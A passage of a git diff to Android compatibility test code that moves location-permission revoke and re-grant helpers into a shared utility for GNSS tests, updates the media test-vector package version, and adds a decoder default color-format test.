@@ -38,6 +41,34 @@
     public TestName mTestName = new TestName();
 
     /**
+     * Enters touch mode when instrumenting.
+     *
+     * Making the view focus state in instrumentation process more reliable in case when
+     * {@link android.view.View#clearFocus()} invoked but system may reFocus again when the view
+     * was not in touch mode. (i.e {@link android.view.View#isInTouchMode()} is {@code false}).
+     */
+    @Before
+    public final void enterTouchMode() {
+        InstrumentationRegistry.getInstrumentation().setInTouchMode(true);
+    }
+
+    /**
+     * Restore to the default touch mode state after the test.
+     */
+    @After
+    public final void restoreTouchMode() {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        try {
+            final boolean defaultInTouchMode = context.getResources().getBoolean(
+                    Resources.getSystem().getIdentifier(
+                            "config_defaultInTouchMode", "bool", "android"));
+            InstrumentationRegistry.getInstrumentation().setInTouchMode(defaultInTouchMode);
+        } catch (Resources.NotFoundException e) {
+            // Should not happen.
+        }
+    }
+
+    /**
      * Our own safeguard in case "atest" command is regressed and start running tests with
      * {@link AppModeInstant} even when {@code --instant} option is not specified.
      *
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
index 78ea004..a30fce8 100644
--- a/tests/libcore/luni/Android.bp
+++ b/tests/libcore/luni/Android.bp
@@ -32,8 +32,6 @@
         "libcore-expectations-virtualdeviceknownfailures-jar",
 
         "mockito-target-minus-junit4",
-        "time_zone_distro-tests",
-        "time_zone_distro_installer-tests",
     ],
     dex_preopt: {
         enabled: false,
diff --git a/tests/location/common/src/android/location/cts/common/TestUtils.java b/tests/location/common/src/android/location/cts/common/TestUtils.java
index 75c2b27..0caf3eae 100644
--- a/tests/location/common/src/android/location/cts/common/TestUtils.java
+++ b/tests/location/common/src/android/location/cts/common/TestUtils.java
@@ -16,14 +16,17 @@
 
 package android.location.cts.common;
 
+import android.app.UiAutomation;
 import android.content.Context;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.NetworkInfo;
 import android.util.Log;
-
+import androidx.test.InstrumentationRegistry;
 import com.android.compatibility.common.util.SystemUtil;
-
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.Callable;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -157,4 +160,62 @@
             Thread.sleep(DATA_CONNECTION_CHECK_INTERVAL_MS);
         }
     }
+
+    public static List<String> getPackagesWithPermissions(String permission) {
+        UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        Context context = InstrumentationRegistry.getTargetContext();
+        PackageManager pm = context.getPackageManager();
+
+        ArrayList<String> packagesWithPermission = new ArrayList<>();
+        List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/0);
+
+        for (ApplicationInfo applicationInfo : packages) {
+            String packageName = applicationInfo.packageName;
+            if (packageName.equals(context.getPackageName())) {
+                // Don't include this test package.
+                continue;
+            }
+
+            if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
+                final int flags;
+                uiAnimation.adoptShellPermissionIdentity(
+                        "android.permission.GET_RUNTIME_PERMISSIONS");
+                try {
+                    flags = pm.getPermissionFlags(
+                            permission, packageName, android.os.Process.myUserHandle());
+                } finally {
+                    uiAnimation.dropShellPermissionIdentity();
+                }
+
+                final boolean fixed =
+                        (flags
+                                & (PackageManager.FLAG_PERMISSION_USER_FIXED
+                                        | PackageManager.FLAG_PERMISSION_POLICY_FIXED
+                                        | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED))
+                        != 0;
+                if (!fixed) {
+                    packagesWithPermission.add(packageName);
+                }
+            }
+        }
+        return packagesWithPermission;
+    }
+
+    public static List<String> revokePermissions(String permission) {
+        UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        List<String> packages = getPackagesWithPermissions(permission);
+        for (String packageWithPermission : packages) {
+            Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
+            uiAnimation.revokeRuntimePermission(packageWithPermission, permission);
+        }
+        return packages;
+    }
+
+    public static void grantLocationPermissions(String permission, List<String> packages) {
+        UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        for (String packageToGivePermission : packages) {
+            Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
+            uiAnimation.grantRuntimePermission(packageToGivePermission, permission);
+        }
+    }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
index 2fe0ccf..b3d3141 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
@@ -1,5 +1,8 @@
 package android.location.cts.gnss;
 
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -11,7 +14,9 @@
 import android.location.LocationManager;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
 import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.core.app.ApplicationProvider;
 
@@ -44,6 +49,7 @@
      * GnssStatus.
      */
     @Test
+    @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
     public void testGnssAntennaInfoValues() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
         assumeTrue(TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG));
@@ -52,22 +58,33 @@
         assumeTrue(
                 mTestLocationManager.getLocationManager().getGnssCapabilities().hasAntennaInfo());
 
-        // Registers GnssStatus Listener
-        TestGnssStatusCallback testGnssStatusCallback =
-                new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-        checkGnssChange(testGnssStatusCallback);
+        // Revoke location permissions from packages before running GnssStatusTest stops
+        // active location requests, allowing this test to receive all necessary Gnss callbacks.
+        List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+        List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
 
-        float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
-        List<GnssAntennaInfo> antennaInfos =
-                mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+        try {
+            // Registers GnssStatus Listener
+            TestGnssStatusCallback testGnssStatusCallback =
+                    new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+            checkGnssChange(testGnssStatusCallback);
 
-        assertThat(antennaInfos).isNotNull();
-        for (GnssAntennaInfo antennaInfo : antennaInfos) {
-            double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
-            assertWithMessage(
-                    "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
-                    carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
-                    antennaInfoFreqHz);
+            float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
+            List<GnssAntennaInfo> antennaInfos =
+                    mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+
+            assertThat(antennaInfos).isNotNull();
+            for (GnssAntennaInfo antennaInfo : antennaInfos) {
+                double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
+                assertWithMessage(
+                        "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
+                        carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
+                        antennaInfoFreqHz);
+            }
+        } finally {
+            // For each location package, re-grant the permission
+            TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+            TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
         }
     }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index f45e283..dfaf081 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -16,6 +16,9 @@
 
 package android.location.cts.gnss;
 
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
 import android.location.Location;
 import android.location.LocationManager;
 import android.location.cts.common.GnssTestCase;
@@ -24,6 +27,8 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import junit.framework.Assert;
@@ -89,13 +94,25 @@
     /**
      * Tests the location update intervals are within expected thresholds.
      */
+    @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
     public void testLocationUpdatesAtVariousIntervals() throws Exception {
         if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
-        for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
-            testLocationUpdatesAtInterval(fixIntervalMillis);
+        // Revoke location permissions from packages before running GnssStatusTest stops
+        // active location requests, allowing this test to receive all necessary Gnss callbacks.
+        List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+        List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
+
+        try {
+            for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
+                testLocationUpdatesAtInterval(fixIntervalMillis);
+            }
+        } finally {
+            // For each location package, re-grant the permission
+            TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+            TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
         }
     }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index c872070..c23b272 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -4,23 +4,17 @@
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
 
-import android.app.UiAutomation;
 import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-
-import java.util.ArrayList;
 import java.util.List;
 
 public class GnssStatusTest extends GnssTestCase  {
@@ -28,13 +22,11 @@
     private static final String TAG = "GnssStatusTest";
     private static final int LOCATION_TO_COLLECT_COUNT = 1;
     private static final int STATUS_TO_COLLECT_COUNT = 3;
-    private UiAutomation mUiAutomation;
 
   @Override
   protected void setUp() throws Exception {
     super.setUp();
     mTestLocationManager = new TestLocationManager(getContext());
-    mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
   }
 
   /**
@@ -49,8 +41,8 @@
 
     // Revoke location permissions from packages before running GnssStatusTest stops
     // active location requests, allowing this test to receive all necessary Gnss callbacks.
-    List<String> courseLocationPackages = revokePermissions(ACCESS_COARSE_LOCATION);
-    List<String> fineLocationPackages = revokePermissions(ACCESS_FINE_LOCATION);
+    List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+    List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
 
     try {
         // Register Gps Status Listener.
@@ -59,8 +51,8 @@
         checkGnssChange(testGnssStatusCallback);
     } finally {
         // For each location package, re-grant the permission
-        grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
-        grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+        TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+        TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
     }
   }
 
@@ -90,18 +82,31 @@
   /**
    * Tests values of {@link GnssStatus}.
    */
+  @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not
     if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
-    SoftAssert softAssert = new SoftAssert(TAG);
-    // Register Gps Status Listener.
-    TestGnssStatusCallback testGnssStatusCallback =
-        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-    checkGnssChange(testGnssStatusCallback);
-    validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
-    softAssert.assertAll();
+
+    // Revoke location permissions from packages before running GnssStatusTest stops
+    // active location requests, allowing this test to receive all necessary Gnss callbacks.
+    List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+    List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
+
+    try {
+        SoftAssert softAssert = new SoftAssert(TAG);
+        // Register Gps Status Listener.
+        TestGnssStatusCallback testGnssStatusCallback =
+            new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+        checkGnssChange(testGnssStatusCallback);
+        validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
+        softAssert.assertAll();
+    } finally {
+        // For each location package, re-grant the permission
+        TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+        TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+    }
   }
 
   /**
@@ -155,55 +160,4 @@
       Log.i(TAG, "usedInFix: " + status.usedInFix(i));
     }
   }
-
-  private List<String> getPackagesWithPermissions(String permission) {
-    Context context = InstrumentationRegistry.getTargetContext();
-    PackageManager pm = context.getPackageManager();
-
-    ArrayList<String> packagesWithPermission = new ArrayList<>();
-    List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/ 0);
-
-    for (ApplicationInfo applicationInfo : packages) {
-      String packageName = applicationInfo.packageName;
-      if (packageName.equals(context.getPackageName())) {
-        // Don't include this test package.
-        continue;
-      }
-
-      if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
-        final int flags;
-        mUiAutomation.adoptShellPermissionIdentity("android.permission.GET_RUNTIME_PERMISSIONS");
-        try {
-          flags = pm.getPermissionFlags(permission, packageName,
-                    android.os.Process.myUserHandle());
-        } finally {
-          mUiAutomation.dropShellPermissionIdentity();
-        }
-
-        final boolean fixed = (flags & (PackageManager.FLAG_PERMISSION_USER_FIXED
-            | PackageManager.FLAG_PERMISSION_POLICY_FIXED
-            | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED)) != 0;
-        if (!fixed) {
-          packagesWithPermission.add(packageName);
-        }
-      }
-    }
-    return packagesWithPermission;
-  }
-
-  private List<String> revokePermissions(String permission) {
-    List<String> packages = getPackagesWithPermissions(permission);
-    for (String packageWithPermission : packages) {
-      Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
-      mUiAutomation.revokeRuntimePermission(packageWithPermission, permission);
-    }
-    return packages;
-  }
-
-  private void grantLocationPermissions(String permission, List<String> packages) {
-    for (String packageToGivePermission : packages) {
-      Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
-      mUiAutomation.grantRuntimePermission(packageToGivePermission, permission);
-    }
-  }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
index 2c6be79..c3532f2 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -4,6 +4,7 @@
 import android.location.cts.common.SoftAssert;
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
 import android.location.cts.common.TestUtils;
 import android.net.ConnectivityManager;
 import android.net.NetworkInfo;
@@ -54,6 +55,11 @@
       return;
     }
 
+    // Network connection isn't required for automotive devices.
+    if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+      return;
+    }
+
     ensureNetworkStatus();
     if (hasCellularData()) {
       checkTtffColdWithWifiOn(TTFF_WITH_WIFI_CELLUAR_COLD_TH_SECS);
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 410b5da..588ddf8 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases-2.2" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-2.4" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 467b958..72f13e0 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.2.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index adbc1c4..525379c 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
 
 The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 All Big Buck Bunny(bbb) test vectors are of 8-bit format. They are downloaded from [link](https://peach.blender.org/download/) and resampled according to the test requirements.
 All Cosmos Laundromat(cosmat) test vectors are of 10-bit format. They are downloaded from [link](https://media.xiph.org/) and resampled according to the test requirements.
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index 95ff70e..d7e5d88 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install mediav2 test files manually
 
 adbOptions=" "
-resLabel=CtsMediaV2TestCases-2.2
+resLabel=CtsMediaV2TestCases-2.4
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index ae7782c..e8243f8 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -99,9 +99,13 @@
     public void setUp() throws IOException, InterruptedException {
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
-        ArrayList<MediaFormat> formatList = new ArrayList<>();
-        formatList.add(format);
-        checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+        if (IS_Q) {
+            Log.i(LOG_TAG, "Android 10: skip checkFormatSupport() for format " + format);
+        } else {
+            ArrayList<MediaFormat> formatList = new ArrayList<>();
+            formatList.add(format);
+            checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+        }
         mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
         setUpSurface(mActivity);
     }
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
index 7a39cc7..64e9822 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
@@ -44,9 +44,13 @@
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
+import java.util.stream.IntStream;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.*;
 import static android.mediav2.cts.CodecTestBase.SupportClass.*;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -931,4 +935,49 @@
         }
         mExtractor.release();
     }
+
+    /**
+     * Test if decoder outputs 8-bit output for 8-bit as well as 10-bit content by default.
+     * The test runs for 1 frame and only in async mode. We remove the key "KEY_COLOR_FORMAT"
+     * from the input format to the decoder and validate that we get the default 8-bit output
+     * color format.
+     */
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testDefaultOutputColorFormat() throws IOException, InterruptedException {
+        Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
+        Assume.assumeTrue("Test is applicable for video decoders", mMime.startsWith("video/"));
+
+        MediaFormat format = setUpSource(mTestFile);
+        format.removeKey(MediaFormat.KEY_COLOR_FORMAT);
+
+        mOutputBuff = new OutputManager();
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(1);
+        queueEOS();
+        waitForAllOutputs();
+        MediaFormat outputFormat = mCodec.getOutputFormat();
+        mCodec.stop();
+        mCodec.reset();
+        mCodec.release();
+
+        String log = String.format("decoder: %s, input file: %s, mode:: async", mCodecName,
+                mTestFile);
+        assertFalse(log + " unexpected error", mAsyncHandle.hasSeenError());
+        assertNotEquals(log + "no input sent", 0, mInputCount);
+        assertNotEquals(log + "output received", 0, mOutputCount);
+
+        assertTrue(log + "output format from decoder does not contain KEY_COLOR_FORMAT",
+                outputFormat.containsKey(MediaFormat.KEY_COLOR_FORMAT));
+        // 8-bit color formats
+        int[] defaultOutputColorFormatList =
+                new int[]{COLOR_FormatYUV420Flexible, COLOR_FormatYUV420Planar,
+                        COLOR_FormatYUV420PackedPlanar, COLOR_FormatYUV420SemiPlanar};
+        int outputColorFormat = outputFormat.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+        assertTrue(log + "unexpected output color format: " + outputColorFormat,
+                IntStream.of(defaultOutputColorFormatList).anyMatch(x -> x == outputColorFormat));
+    }
 }
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
index 63b1b2c..932af63 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
@@ -42,9 +42,6 @@
 
 @RunWith(Parameterized.class)
 public class CodecEncoderValidationTest extends CodecEncoderTestBase {
-    private static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
-    private static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
-
     private final boolean mUseHBD;
     // Key: mediaType, Value: tolerance duration in ms
     private static final Map<String, Integer> toleranceMap = new HashMap<>();
@@ -145,6 +142,10 @@
         if (!mIsAudio) {
             int colorFormat = mFormats.get(0).getInteger(MediaFormat.KEY_COLOR_FORMAT);
             Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, colorFormat));
+            if (mUseHBD) {
+                Assume.assumeTrue("Codec doesn't support high bit depth profile encoding",
+                        doesCodecSupportHDRProfile(mCodecName, mMime));
+            }
         }
         checkFormatSupport(mCodecName, mMime, true, mFormats, null, CODEC_OPTIONAL);
         setUpSource(inputFile);
diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
index a030a95..a8f7c8f 100644
--- a/tests/media/src/android/mediav2/cts/CodecInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
@@ -90,40 +90,31 @@
 
     /**
      * Tests if the devices on T or later, if decoder for a mediaType supports HDR profiles then
-     * it should be capable of displaying the same
+     * it should be capable of displaying the same. Since HLG profiles can't be distinguished from
+     * default 10-bit profiles, those are excluded from this test.
      */
     @Test
-    @Ignore("TODO(b/228237404) Enable once display capabilities can be queried at codec2 level")
     public void testHDRDisplayCapabilities() {
         Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
         Assume.assumeTrue("Test is applicable for video codecs", mMediaType.startsWith("video/"));
-        Assume.assumeTrue("Test is applicable for codecs with HDR profiles",
-                mProfileHdrMap.containsKey(mMediaType));
 
-        int[] HdrProfiles = mProfileHdrMap.get(mMediaType);
+        int[] Hdr10Profiles = mProfileHdr10Map.get(mMediaType);
+        int[] Hdr10PlusProfiles = mProfileHdr10PlusMap.get(mMediaType);
+        Assume.assumeTrue("Test is applicable for codecs with HDR10/HDR10+ profiles",
+                Hdr10Profiles != null || Hdr10PlusProfiles != null);
+
         MediaCodecInfo.CodecCapabilities caps = mCodecInfo.getCapabilitiesForType(mMediaType);
 
         for (CodecProfileLevel pl : caps.profileLevels) {
-            if (IntStream.of(HdrProfiles).anyMatch(x -> x == pl.profile)) {
-                if (pl.profile == AV1ProfileMain10 || pl.profile == AVCProfileHigh10 ||
-                        pl.profile == HEVCProfileMain10 || pl.profile == VP9Profile2) {
-                    assertTrue("Advertises support for HLG technology without HLG display",
-                            IntStream.of(DISPLAY_HDR_TYPES).anyMatch(x -> x == HDR_TYPE_HLG));
-                } else if (pl.profile == AV1ProfileMain10HDR10 ||
-                        pl.profile == HEVCProfileMain10HDR10 || pl.profile == VP9Profile2HDR) {
-                    assertTrue(mCodecInfo.getName() + " Advertises support for HDR10 profile " +
-                                    pl.profile + " without HDR10 display",
-                            IntStream.of(DISPLAY_HDR_TYPES).anyMatch(x -> x == HDR_TYPE_HDR10));
-                } else if (pl.profile == AV1ProfileMain10HDR10Plus ||
-                        pl.profile == HEVCProfileMain10HDR10Plus ||
-                        pl.profile == VP9Profile2HDR10Plus) {
-                    assertTrue(mCodecInfo.getName() + " Advertises support for HDR10+ profile " +
-                                    pl.profile + " without HDR10+ display",
-                            IntStream.of(DISPLAY_HDR_TYPES)
-                                    .anyMatch(x -> x == HDR_TYPE_HDR10_PLUS));
-                } else {
-                    fail("Unhandled HDR profile" + pl.profile + " for type " + mMediaType);
-                }
+            boolean isHdr10Profile = Hdr10Profiles != null &&
+                    IntStream.of(Hdr10Profiles).anyMatch(x -> x == pl.profile);
+            boolean isHdr10PlusProfile = Hdr10PlusProfiles != null &&
+                    IntStream.of(Hdr10PlusProfiles).anyMatch(x -> x == pl.profile);
+            // TODO (b/228237404) Once there is a way to query support for HDR10/HDR10+ display at
+            // native level, separate the following to independent checks for HDR10 and HDR10+
+            if (isHdr10Profile || isHdr10PlusProfile) {
+                assertTrue(mCodecInfo.getName() + " Advertises support for HDR10/HDR10+ profile " +
+                        pl.profile + " without any HDR display", DISPLAY_HDR_TYPES.length > 0);
             }
         }
     }
@@ -143,17 +134,17 @@
 
         // COLOR_FormatSurface support is an existing requirement, but we did not
         // test for it before T.  We can not retroactively apply the higher standard to
-        // devices that are already certified, so only test on T or later devices.
-        if (IS_AT_LEAST_T) {
+        // devices that are already certified, so only test on VNDK T or later devices.
+        if (VNDK_IS_AT_LEAST_T) {
             assertFalse(mCodecInfo.getName() + " does not support COLOR_FormatSurface",
                     IntStream.of(caps.colorFormats)
                             .noneMatch(x -> x == COLOR_FormatSurface));
         }
 
-        // For devices launching with Android T, if a codec supports an HDR profile, it must
-        // advertise P010 support
+        // For devices launching with Android T, if a codec supports an HDR profile and device
+        // supports HDR display, it must advertise P010 support
         int[] HdrProfileArray = mProfileHdrMap.get(mMediaType);
-        if (FIRST_SDK_IS_AT_LEAST_T && HdrProfileArray != null) {
+        if (FIRST_SDK_IS_AT_LEAST_T && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) {
             for (CodecProfileLevel pl : caps.profileLevels) {
                 if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) {
                     assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," +
diff --git a/tests/media/src/android/mediav2/cts/CodecListTest.java b/tests/media/src/android/mediav2/cts/CodecListTest.java
index 04568f8..50b33e2 100644
--- a/tests/media/src/android/mediav2/cts/CodecListTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecListTest.java
@@ -19,6 +19,7 @@
 import android.media.MediaFormat;
 
 import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.MediaUtils;
@@ -33,6 +34,13 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class CodecListTest {
+    static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
+    static String mediaTypePrefix;
+
+    static {
